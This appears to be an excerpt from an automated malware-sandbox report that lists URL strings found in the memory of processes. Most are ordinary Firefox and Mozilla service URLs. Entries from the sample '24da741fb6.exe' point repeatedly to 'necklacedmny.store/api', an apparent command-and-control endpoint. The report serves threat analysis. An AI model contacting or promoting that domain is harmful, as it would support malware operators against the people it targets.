Source: firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000020.00000002.2983601021.00000253E872C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2884153672.00000253F03F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000020.00000002.2983601021.00000253E8710000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Cache
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2884153672.00000253F03F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3343597221.00000253EFD5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8826000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 00000020.00000003.2881292109.00000253F464F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: powershell.exe, 00000008.00000002.2471464999.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.2469949700.000000000295B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2744719723.00000253F454B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 00000020.00000003.2789703011.00000253F4531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2820751925.00000253F4533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2754762057.00000253F452D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2749775963.00000253F452B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000020.00000003.2789703011.00000253F4531000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2820751925.00000253F4533000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2754762057.00000253F452D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2749775963.00000253F452B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: Fwkdsz.exe, 00000007.00000002.2703552750.0000000006A60000.00000004.08000000.00040000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 00000020.00000003.2668435370.00000253EC21F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668905912.00000253EC25A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668690950.00000253EC23C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000020.00000003.2896479331.00000253F4452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2956394320.00000253DC711000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881No
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000020.00000003.2894400947.00000253F6162000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF80000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E88AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000020.00000003.2899526882.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000020.00000003.2821737659.00000253F4544000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2748840225.00000253F4548000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000020.00000003.2921058628.00000253EE1D4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3303094848.00000253EC7EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000020.00000003.2885495011.00000253EF97C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comremoveTabsProgressListenerbrowser.tabs.drawInTitlebartestPermissionFromPr
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: 24da741fb6.exe, 0000000B.00000003.2799995147.00000000011B6000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2685688622.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/
Source: 24da741fb6.exe, 0000000B.00000003.2684892037.0000000005967000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/api
Source: 24da741fb6.exe, 0000000B.00000003.2578974608.00000000011C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiD
Source: 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001171000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apis
Source: 24da741fb6.exe, 0000000B.00000003.2609752113.0000000005969000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/apiu
Source: 24da741fb6.exe, 0000000B.00000003.2583452418.00000000011C9000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2559019773.00000000011CC000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2800223657.0000000001171000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2578974608.00000000011C3000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2542576099.00000000011CC000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2527822661.00000000011CC000.00000004.00000020.00020000.00000000.sdmp, 24da741fb6.exe, 0000000B.00000003.2542975784.00000000011CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/dJ;?
Source: 24da741fb6.exe, 0000000B.00000003.2685688622.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://necklacedmny.store/or
Source: powershell.exe, 00000008.00000002.2473738158.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: firefox.exe, 00000020.00000002.3328096517.00000253EE4F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000020.00000002.2981301005.00000253E847D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3199771193.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2782741908.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2905590480.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2870938459.00000253EBA34000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2671242763.00000253EBA33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2860366691.00000253EBA39000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000020.00000002.3144688592.00000253EA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000020.00000002.3003403643.00000253E883A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.googleapis.com/v4/fullHashes:find?$ct=application/x-protobuf&key=AIzaSyC7jsptDS
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3144688592.00000253EA29D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3213102159.00000253EBB45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com
Source: firefox.exe, 00000020.00000003.2669234122.00000253EC277000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF17000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000003.2668191749.00000253EC000000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://screenshots.firefox.com/
Source: firefox.exe, 00000020.00000002.3230698047.00000253EBC44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3278500608.00000253EC084000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/addons/addon
Source: firefox.exe, 00000020.00000002.2983601021.00000253E87EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3320063127.00000253ED7B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com
Source: firefox.exe, 00000020.00000002.3039067692.00000253E942B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/
Source: firefox.exe, 00000020.00000002.3039067692.00000253E9424000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000020.00000002.3003403643.00000253E8803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=navclient-auto-ffox&appver=118.0&pver=2.2
Source: firefox.exe, 00000020.00000002.3322305671.00000253EDF5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.3003403643.00000253E8872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
